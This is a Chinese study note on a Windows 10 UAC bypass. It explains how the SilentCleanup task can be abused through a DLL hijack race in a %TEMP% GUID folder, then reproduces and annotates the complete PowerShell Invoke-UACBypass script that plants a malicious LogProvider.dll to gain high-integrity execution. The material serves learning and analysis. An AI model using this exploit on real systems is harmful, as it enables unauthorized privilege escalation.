UAC绕过学习笔记
0x0
有感于hed10ne师傅在Re分享会上分享的UAC bypass绕过。当时对免杀有点感兴趣,一直苦于不知道要怎么学。这次刚好第一次了解到UAC绕过这种技术,进行了复现与学习。
0x1 磁盘清理绕过Window10 UAC学习
https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
学习于这篇文章,虽然是16年的,知识了解对于一个初学者来学刚好。
文章中作者寻找到了一种以供非特权用户启动,但是可以提升到高权限运行的计划任务(Windows 10 库存安装中配置了一个名为“SilentCleanup”的计划任务)
然后跟踪发现是由计划任务 cleanmgr.exe(磁盘清理) 启动的实际进程由于在任务配置中设置了“以最高权限执行”而自动提升。
它会在“C:\Users<username>\AppData\Local\Temp”中创建一个名为 GUID 的新文件夹。(这一步因为磁盘清理操作太多了有7万条,用过滤器指定到Temp文件下也有1万6千多条,翻了半天没找到)
cleanmgr.exe 创建临时文件夹后,会将多个 DLL 和“dismhost.exe”复制到新文件夹中。(这些DLL和dismhost.exe来自Window/Temp)
将DismHost.exe及其DLL复制到”C:\USER<username>\AppData\Temp
<guid>”后,cleanmgr.exe 然后将“dismhost.exe”作为高权限进程启动
由于dismhost.exe 从“C:\Users<username>\AppData\Local\Temp<guid>”启动,它开始按特定顺序从同一文件夹加载 DLL(DLL搜索应用劫持,顾名思义dll加载会按照一定顺序搜索并且加载dll,而同文件下的dll是优先级最高的)
由于当前的中等完整性进程对用户的%TEMP%目录有写权限,因此可以劫持dismhost.exe加载的DLL,获得高完整性进程的代码执行。这通常被称为“ BypassUAC ”攻击(Bypass旁路)。
由于这种特殊情况是一种竞争条件,我们必须在 dismhost.exe 加载它之前替换目标 DLL。我们更仔细地检查了整个过程,并确定“LogProvider.dll”是 dismhost.exe 加载的最后一个 DLL,这给了我们劫持机会的最佳机会。有了这些信息,我们可以使用 WMI 事件(WMI事件就是系统内部进行的操作触发的事件,例如创建进程,打印,插入USB等)来监 视“C:\Users<username>\AppData\Local\Temp<guid>”的创建,然后为该 WMI 事件分配一个劫持“LogProvider.dll”的操作”通过将我们的“恶意”DLL 复制到“C:\Users<username>\AppData\Local\Temp<guid>”并将其命名为“LogProvider.dll”。由于此操作发生在 dismhost.exe 加载它之前,它将加载我们的 DLL 而不是预期的。(实现原理)
一旦 dismhost.exe 加载 DLL,它将作为高完整性加载,允许我们绕过用户访问控制并作为高完整性进程获取代码执行。
经过额外测试后,此技术不适用于标准用户帐户,因为 cleanmgr.exe 不会将任何文件提取到 %TEMP%。当以低或中等完整性作为标准用户执行时,任务以中等完整性运行,并且永远不会超过该值(标准用户相当于普通登录用户,证明这个操作在大多数用户机上都可以操作,实用性很高)
文章后面的内容就不多做复述,下面就是分析文章链接中给的Powershell用c#写的脚本。
0x1-2 UACBypass脚本分析学习
我没有学习过PowerShell脚本和C#,所以是现学现了解(感觉这种学习方法是比较最高效,一个知识面引申出其他的知识面,让自己一直主动的吸取知识)
function Invoke-UACBypass {
[CmdletBinding()] #类似头文件一样 一般都会写一个 让脚本可以使用很多高级函数 公共参数 通过微软的about_functions_advanced_parameters学习
[OutputType([System.IO.FileInfo])] #OutputType[指定对象类型] System.IO.FileInfo 提供对文件的操作
Param (
[Parameter(Mandatory = $True)] #Parameter 属性是声明参数时的唯一一个必需属性
[String]
[ValidateScript({ Test-Path $_ })] #ValidateScript 属性指定用于对形式参数的实际参数进行验证的脚本 Test-Path 是检测路径参数是否都在
$DllPath #参数就是DLLpath 代码效果就是检测DLLpath路径参数是不是都在
)
$PrivescAction = {
$ReplacementDllPath = $Event.MessageData.DllPath #获得DLLPath的信息输出区
# The newly created GUID folder
$DismHostFolder = $EventArgs.NewEvent.TargetInstance.Name #新建一个目标实例名字 对应操作中的新建 GUID 文件夹
$OriginalPreference = $VerbosePreference #把我们默认的输出参数保存起来 所以左边命名成了 Original 因为后面需要改变 Verbose的值
# Force -Verbose to display in the event
if ($Event.MessageData.VerboseSet -eq $True) { #强制让事件显示
$VerbosePreference = 'Continue'
}
Write-Verbose "DismHost folder created in $DismHostFolder" #输出 GUID文件夹名字
Write-Verbose "$ReplacementDllPath to $DismHostFolder\LogProvider.dll" #输出 DLLPath的dll 复制到 GUID文件夹里面中的LogProvider.dll中
try {
$FileInfo = Copy-Item -Path $ReplacementDllPath -Destination "$DismHostFolder\LogProvider.dll" -Force -PassThru -ErrorAction Stop #复制DLL到指定的文件夹
} catch {
Write-Warning "Error copying file! Message: $_"
}
# Restore the event preference
$VerbosePreference = $OriginalPreference #恢复输出默认值
if ($FileInfo) {
# Trigger Wait-Event to return and indicate success.
New-Event -SourceIdentifier 'DllPlantedSuccess' -MessageData $FileInfo #判断上面的复制有没有成功,成功就启动wait_event
}
}
$VerboseSet = $False #关闭Verbose
if ($PSBoundParameters['Verbose']) { $VerboseSet = $True } #PSBoundParameters 获取命令行的参数 然后存成python中字典一样 key 和 value对应 这里就是判断Verbose里面的value 成功就把Verbose开启
$MessageData = New-Object -TypeName PSObject -Property @{ # 创建一个PSobject
DllPath = $DllPath
VerboseSet = $VerboseSet # Pass the verbose preference to the scriptblock since 将详细参数首选项传递给脚本块since
# event scriptblocks will not automatically honor -Verbose. 事件脚本块将不会自动执行-Verbose
}
$TempDrive = $Env:TEMP.Substring(0,2) #获取环境变量TEMP0-2的字符串
# Trigger the DLL dropper with the following conditions: 用以下条件触发DLL
# 1) A directory is created - i.e. new Win32_Directory instance 创建一个目录-即新的Win32_Directory实例
# 2) The directory created is created under %TEMP% 创建的目录在%TEMP%下创建
# 3) The directory name is in the form of a GUID 目录名采用GUID的形式
$TempFolderCreationEvent = "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA `"Win32_Directory`" AND TargetInstance.Drive = `"$TempDrive`" AND TargetInstance.Path = `"$($Env:TEMP.Substring(2).Replace('\', '\\'))\\`" AND TargetInstance.FileName LIKE `"________-____-____-____-____________`""
$TempFolderWatcher = Register-WmiEvent -Query $TempFolderCreationEvent -Action $PrivescAction -MessageData $MessageData #注册一个WMI事件 名字分配一个GUID 指定一个WMI类的命名空间
# We need to jump through these hoops to properly capture stdout and stderr of schtasks.
$StartInfo = New-Object Diagnostics.ProcessStartInfo
$StartInfo.FileName = 'schtasks'
$StartInfo.Arguments = '/Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I'
$StartInfo.RedirectStandardError = $True
$StartInfo.RedirectStandardOutput = $True
$StartInfo.UseShellExecute = $False
$Process = New-Object Diagnostics.Process
$Process.StartInfo = $StartInfo
$null = $Process.Start()
$Process.WaitForExit()
$Stdout = $Process.StandardOutput.ReadToEnd().Trim()
$Stderr = $Process.StandardError.ReadToEnd().Trim()
if ($Stderr) {
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
throw "SilentCleanup task failed to execute. Error message: $Stderr"
} else {
if ($Stdout.Contains('is currently running')) {
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
Write-Warning 'SilentCleanup task is already running. Please wait until the task has completed.'
}
Write-Verbose "SilentCleanup task executed successfully. Message: $Stdout"
}
$PayloadExecutedEvent = Wait-Event -SourceIdentifier 'DllPlantedSuccess' -Timeout 10
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
if ($PayloadExecutedEvent) {
Write-Verbose 'UAC bypass was successful!'
# Output the file info for the DLL that was planted
$PayloadExecutedEvent.MessageData
$PayloadExecutedEvent | Remove-Event
} else {
# The event timed out.
Write-Error 'UAC bypass failed. The DLL was not planted in its target.'
}
}